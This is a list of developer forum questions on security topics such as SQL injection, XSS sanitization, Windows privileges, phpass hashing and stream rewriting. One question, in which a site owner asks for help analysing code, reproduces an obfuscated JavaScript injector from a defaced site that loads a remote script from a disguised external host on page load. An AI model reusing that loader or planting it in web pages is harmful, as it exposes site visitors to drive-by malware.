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  • Is there a /users/www-data type directory in RedHat/Fedora?

    - by Yarin
    I'm trying to setup web2py on my Fedora server, and the instructions, written for Debian, are telling me to install it in the /users/www-data directory. I realize that Fedora uses a default 'apache' user for running Apache, and Debian uses a 'www-data' user, but there's no corresponding /users/apache directory on my machine... Here are the instructions http://web2py.com/book/default/section/11/2

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  • What does this script do? Is it malicious?

    - by ramdaz
    This script was added to a defaced web page of a client web site running PHP. I have no clue what this script can do, and do not know whether this is really malicious. Can someone advise. Please find code below.... var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} catch(r_){};this.z_="z_";

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  • how to force client(winform) application to use NTLM when calling web services

    - by peanut
    Hi, I have a winform application calling web services hosted in IIS, by default, the client app will use Kerberose for authentication to IIS, and it failed for some reasons? But the same app works fine at another PC(with different user login), and I found it is using NTLM by checking the IIS server event log. is there anyway we can change the client app(winform) authentication type? Thanks in advance

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  • Configure Windows firewall to prevent an application from listening on a specific port [closed]

    - by U-D13
    The issue: there are many applications struggling to listen on port 80 (Skype, Teamviewer et al.), and to many of them that even is not essential (in the sense that you can have a httpd running and blocking the http port, and the other application won't even squeak about being unable to open the port). What makes things worse, some of the apps are... Well, I suppose, that it's okay that the mentally impaired are being integrated in the society by giving them a job to do, but... Programming requires some intellectual effort, in my humble opinion... What I mean is that there is no way to configure the app not to use specific ports (that's what you get for using proprietary software) - you can either add it to windows firewall exceptions (and succumb to undesired port opening behavior) or not (and risk losing most - if not all - of the functionality). Technically, it is not impossible for the firewall to deny an application opening an incoming port even if the application is in the exception list. And if this functionality is built into the Windows firewall somewhere, there should be a way to activate it. So, what I want to know is: whether there exists such an option, and if it does how to activate it.

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  • PHP: Is mysql_real_escape_string sufficient for cleaning user input?

    - by Thomas
    Is mysql_real_escape_string sufficient for cleaning user input in most situations? ::EDIT:: I'm thinking mostly in terms of preventing SQL injection but I ultimately want to know if I can trust user data after I apply mysql_real_escape_string or if I should take extra measures to clean the data before I pass it around the application and databases. I see where cleaning for HTML chars is important but I wouldn't consider it necessary for trusting user input. T

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  • Row level user permissions, help with design

    - by bambam
    Hi, Say I am creating a forums application, I understand how to design a forum level permission system with Groups. i.e. you create a forum to group mapping, and assign users to a group to give them access to a particular forum. How can I refine the permissions to allow for row level permissions (or in forum terms, post level).

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  • Account sharing among Ubuntu machines

    - by muckabout
    I'd like a simple and secure system to have allow users in our network to have their account (e.g., 'myname') work on every machine in the network (e.g., such that they could ssh to any machine and have the same userid, mounted smb share). Any suggestions?

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  • Does using ReadDirectoryChangesW require administrator rights?

    - by Alex Jenter
    The MSDN says that using ReadDirectoryChangesW implies the calling process having the Backup and Restore priviliges. Does this mean that only process launched under administrator account will work correctly? I've tried the following code, it fails to enable the required privileges when running as a restricted user. void enablePrivileges() { enablePrivilege(SE_BACKUP_NAME); enablePrivilege(SE_RESTORE_NAME); } void enablePrivilege(LPCTSTR name) { HANDLE hToken; DWORD status; if (::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp = { 1 }; if( ::LookupPrivilegeValue(NULL, name, &tp.Privileges[0].Luid) ) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BOOL result = ::AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL); verify (result != FALSE); status = ::GetLastError(); } ::CloseHandle(hToken); } } Am I doing something wrong? Is there any workaround for using ReadDirectoryChangesW from a non-administrator user account? It seems that the .NET's FileSystemWatcher can do this. Thanks!

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  • Using MS Anti XSS library for sanitizing HTML

    - by user102533
    In the intent of preventing XSS attacks, I am updating a page in which we have a textbox that accepts HTML, stores it in a database and retrieves and renders it at a later time. My understanding is that I can sanitize the HTML using AntiXSS.GetSafeHtmlFragment() method. As long as I do this before storing the HTML in the database, am I covered? Do I need to do anything when the HTML is outputted on a web page? Also, it appears that the white list is kind of a black box. Is there a way to update this based on our requirements?

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  • Prevent SQL injection from form-generated SQL.

    - by Markos Fragkakis
    Hi all, I have a search table where user will be able to filter results with a filter of the type: Field [Name], Value [John], Remove Rule Field [Surname], Value [Blake], Remove Rule Field [Has Children], Value [Yes], Remove Rule Add Rule So the user will be able to set an arbitrary set of filters, which will result essentially in a completely dynamic WHERE clause. In the future I will also have to implement more complicated logical expressions, like Where (name=John OR name=Nick) AND (surname=Blake OR surname=Bourne), Of all 10 fields the user may or may not filter by, I don't know how many and which filters the user will set. So, I cannot use a prepared statement (which assumes that at least we know the fields in the WHERE clause). This is why prepared statements are unfortunately out of the question, I have to do it with plain old, generated SQL. What measures can I take to protect the application from SQL Injection (REGEX-wise or any other way)?

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  • Shared User Session for Multiple ASP.NET Websites

    - by Oliver
    I have been tasked with developing a single Login and Dashboard page that user can login too, the user will then be shown all the systems (we developed) that they have access based to based on some roles stored in our databases. If they logged in we would like that "User Session" (not sure of correct terminology) to be carried to which ever system they are redirected too. To illustrate a very rough overview of what I want to achieve: Is there a way that a user can login in one site, and then carry over that login to the other sites? Help, Advice, Link will be much appreciated. Sorry I am not experienced at ASP.net but have a good understanding of Silverlight, C#, WPF. Thanks in advance.

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  • How can * be a safe hashed password?

    - by Exception e
    phpass is a widely used hashing 'framework'. While evaluating phpass' HashPassword I came across this odd method fragment. function HashPassword($password) { // <snip> trying to generate a hash… # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } This is the complete phpsalt class: # Portable PHP password hashing framework. # # Version 0.2 / genuine. # # Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in # the public domain. # # # class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; function PasswordHash($iteration_count_log2, $portable_hashes) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) $iteration_count_log2 = 8; $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime() . getmypid(); } function get_random_bytes($count) { $output = ''; if (is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= pack('H*', md5($this->random_state)); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) $value |= ord($input[$i]) << 8; $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) break; if ($i < $count) $value |= ord($input[$i]) << 16; $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) break; $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) == $output) $output = '*1'; if (substr($setting, 0, 3) != '$P$') return $output; $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) return $output; $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) != 8) return $output; # We're kind of forced to use MD5 here since it's the only # cryptographic primitive available in all versions of PHP # currently in use. To implement our own low-level crypto # in PHP would result in much worse performance and # consequently in lower iteration counts and hashes that are # quicker to crack (by non-PHP code). if (PHP_VERSION >= '5') { $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); } else { $hash = pack('H*', md5($salt . $password)); do { $hash = pack('H*', md5($hash . $password)); } while (--$count); } $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function gensalt_extended($input) { $count_log2 = min($this->iteration_count_log2 + 8, 24); # This should be odd to not reveal weak DES keys, and the # maximum valid value is (2**24 - 1) which is odd anyway. $count = (1 << $count_log2) - 1; $output = '_'; $output .= $this->itoa64[$count & 0x3f]; $output .= $this->itoa64[($count >> 6) & 0x3f]; $output .= $this->itoa64[($count >> 12) & 0x3f]; $output .= $this->itoa64[($count >> 18) & 0x3f]; $output .= $this->encode64($input, 3); return $output; } function gensalt_blowfish($input) { # This one needs to use a different order of characters and a # different encoding scheme from the one in encode64() above. # We care because the last character in our encoded string will # only represent 2 bits. While two known implementations of # bcrypt will happily accept and correct a salt string which # has the 4 unused bits set to non-zero, we do not want to take # chances and we also do not want to waste an additional byte # of entropy. $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $output = '$2a$'; $output .= chr(ord('0') + $this->iteration_count_log2 / 10); $output .= chr(ord('0') + $this->iteration_count_log2 % 10); $output .= '$'; $i = 0; do { $c1 = ord($input[$i++]); $output .= $itoa64[$c1 >> 2]; $c1 = ($c1 & 0x03) << 4; if ($i >= 16) { $output .= $itoa64[$c1]; break; } $c2 = ord($input[$i++]); $c1 |= $c2 >> 4; $output .= $itoa64[$c1]; $c1 = ($c2 & 0x0f) << 2; $c2 = ord($input[$i++]); $c1 |= $c2 >> 6; $output .= $itoa64[$c1]; $output .= $itoa64[$c2 & 0x3f]; } while (1); return $output; } function HashPassword($password) { $random = ''; if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) == 60) return $hash; } if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { if (strlen($random) < 3) $random = $this->get_random_bytes(3); $hash = crypt($password, $this->gensalt_extended($random)); if (strlen($hash) == 20) return $hash; } if (strlen($random) < 6) $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) == 34) return $hash; # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } function CheckPassword($password, $stored_hash) { $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] == '*') $hash = crypt($password, $stored_hash); return $hash == $stored_hash; } }

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  • Custom fine-grained claims based authorization system in ASP.NET MVC - wheres and hows

    - by BuzzBubba
    So, I'd like to implement my own custom authorization system in MVC2. If I'd have to create a global class, where do I instantiate it? Can HttpContext be extended with my own additions and where do I do that? Should I use Authorization filters for rights validation or ActionFilters or do it within an action? Can ActionFilter pass any data to the action itself? Previously (in WebForms) I was using a Session object where I would put a serialized object containing essential user data (account id and a list of roles and rights) and I'd extend my own Page class.

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  • How do I ensure that SOAP requests from a flash client to my ASP server are coming from the flash cl

    - by Gary Benade
    I have a flash based game that has a high score system implemented with a SOAP service. There are prizes involved and I want to prevent someone from using FireBug or similar to discover the webservice path and submit fake scores. I considered using some kind of encryption on the data but am aware that someone could decompile the swf and work out how I did it. I also considered using an IP whitelist but since the incoming data will come from the users IP and not the servers that won't work. (I'm sure I'm missing something obvious here...) I know that there is a tried and tested solution for this, but I don't seem to be asking google the right questions to get to it. Any help and suggestions will be appreciated, thank you

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  • Ruby - encrypted_strings

    - by Tom Andersen
    A bit of a Ruby newbie here - should be an easy question: I want to use the encrypted_strings gem to create a password encrypted string: (from http://rdoc.info/projects/pluginaweek/encrypted_strings) Question is: Everything works fine, but how come I don't need the password to decrypt the string? Say I want to store the string somewhere for a while,like the session. Is the password also stored with it? (which would seem very strange?). And no, I'm not planning on using 'secret-key' or any similar hack as a password. I am planning on dynamically generating a class variable @@password using a uuid, which I don't store other than in memory, and can change from one running of the program to the next. Symmetric: >> password = 'shhhh' => "shhhh" >> crypted_password = password.encrypt(:symmetric, :password => 'secret_key') => "qSg8vOo6QfU=\n" >> crypted_password.class => String >> crypted_password == 'shhhh' => true >> password = crypted_password.decrypt => "shhhh"

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  • Simulating O_NOFOLLOW (2): Is this other approach safe?

    - by Daniel Trebbien
    As a follow-up question to this one, I thought of another approach which builds off of @caf's answer for the case where I want to append to file name and create it if it does not exist. Here is what I came up with: Create a temporary directory with mode 0700 in a system temporary directory on the same filesystem as file name. Create an empty, temporary, regular file (temp_name) in the temporary directory (only serves as placeholder). Open file name for reading only, just to create it if it does not exist. The OS may follow name if it is a symbolic link; I don't care at this point. Make a hard link to name at temp_name (overwriting the placeholder file). If the link call fails, then exit. (Maybe someone has come along and removed the file at name, who knows?) Use lstat on temp_name (now a hard link). If S_ISLNK(lst.st_mode), then exit. open temp_name for writing, append (O_WRONLY | O_APPEND). Write everything out. Close the file descriptor. unlink the hard link. Remove the temporary directory. (All of this, by the way, is for an open source project that I am working on. You can view the source of my implementation of this approach here.) Is this procedure safe against symbolic link attacks? For example, is it possible for a malicious process to ensure that the inode for name represents a regular file for the duration of the lstat check, then make the inode a symbolic link with the temp_name hard link now pointing to the new, symbolic link? I am assuming that a malicious process cannot affect temp_name.

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  • Temporarily impersonate and enable privileges?

    - by Luke
    We maintain a DLL that does a lot of system-related things; traversing the file system, registry, etc. The callers of this DLL may or may not be using impersonation. In order to better support all possible scenarios I'm trying to modify it to be smarter. I'll use the example of deleting a file. Currently we just call DeleteFile(), and if that fails that's the end of that. I've come up with the following: BOOL TryReallyHardToDeleteFile(LPCTSTR lpFileName) { // 1. caller without privilege BOOL bSuccess = DeleteFile(lpFileName); DWORD dwError = GetLastError(); if(!bSuccess && dwError == ERROR_ACCESS_DENIED) { // failed with access denied; try with privilege DWORD dwOldRestorePrivilege = 0; BOOL bHasRestorePrivilege = SetPrivilege(SE_RESTORE_NAME, SE_PRIVILEGE_ENABLED, &dwOldRestorePrivilege); if(bHasRestorePrivilege) { // 2. caller with privilege bSuccess = DeleteFile(lpFileName); dwError = GetLastError(); SetPrivilege(SE_RESTORE_NAME, dwOldRestorePrivilege, NULL); } if(!bSuccess && dwError == ERROR_ACCESS_DENIED) { // failed with access denied; if caller is impersonating then try as process HANDLE hToken = NULL; if(OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_IMPERSONATE, TRUE, &hToken)) { if(RevertToSelf()) { // 3. process without privilege bSuccess = DeleteFile(lpFileName); dwError = GetLastError(); if(!bSuccess && dwError == ERROR_ACCESS_DENIED) { // failed with access denied; try with privilege bHasRestorePrivilege = SetPrivilege(SE_RESTORE_NAME, SE_PRIVILEGE_ENABLED, &dwOldRestorePrivilege); if(bHasRestorePrivilege) { // 4. process with privilege bSuccess = DeleteFile(lpFileName); dwError = GetLastError(); SetPrivilege(SE_RESTORE_NAME, dwOldRestorePrivilege, NULL); } } SetThreadToken(NULL, hToken); } CloseHandle(hToken); hToken = NULL; } } } if(!bSuccess) { SetLastError(dwError); } return bSuccess; } So first it tries as the caller. If that fails with access denied, it temporarily enables privileges in the caller's token and tries again. If that fails with access denied and the caller is impersonating, it temporarily unimpersonates and tries again. If that fails with access denied, it temporarily enables privileges in the process token and tries again. I think this should handle pretty much any situation, but I was wondering if there was a better way to achieve this? There are a lot of operations that we would potentially want to use this method (i.e. pretty much any operation that accesses securable objects).

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  • Rewriting Live TCP Streams

    - by user213060
    I want to rewrite TCP/IP streams. Ettercap's etterfilter command lets you perform simple live replacements of TCP/IP data based on fixed strings or regexes. Example: http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833 I would like to rewrite streams based on my own filter program instead of just simple string replacements. Anyone have an idea of how to do this? Is there anything other than Ettercap that can do live replacement like this, maybe as a plugin to a VPN software or something? Thanks!

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  • AES Encryption library

    - by Spines
    Is there a library or something that will allow me to simply call a function that will AES encrypt a byte array? I don't want to deal with multiple update blocks/transformFinal/etc, because there is a possibility I will mess up...

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  • Cleaning all inline events from HTML tags

    - by Itay Moav
    For HTML input, I want to neutralize all HTML elements that have inline js (onclick="..", onmouseout=".." etc). I am thinking, isn't it enough to encode the following chars? =,(,) So onclick="location.href='ggg.com'" will become onclick%3D"location.href%3D'ggg.com'" What am I missing here? Edit: I do need to accept active HTML (I can't escape it all or entities is it).

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  • Are these two functions overkill for sanitization?

    - by jpjp
    function sanitizeString($var) { $var = stripslashes($var); $var = htmlentities($var); $var = strip_tags($var); return $var; } function sanitizeMySQL($var) { $var = mysql_real_escape_string($var); $var = sanitizeString($var); return $var; } I got these two functions from a book and the author says that by using these two, I can be extra safe against XSS(the first function) and sql injections(2nd func). Are all those necessary? Also for sanitizing, I use prepared statements to prevent sql injections. I would use it like this: $variable = sanitizeString($_POST['user_input']); $variable = sanitizeMySQL($_POST['user_input']);

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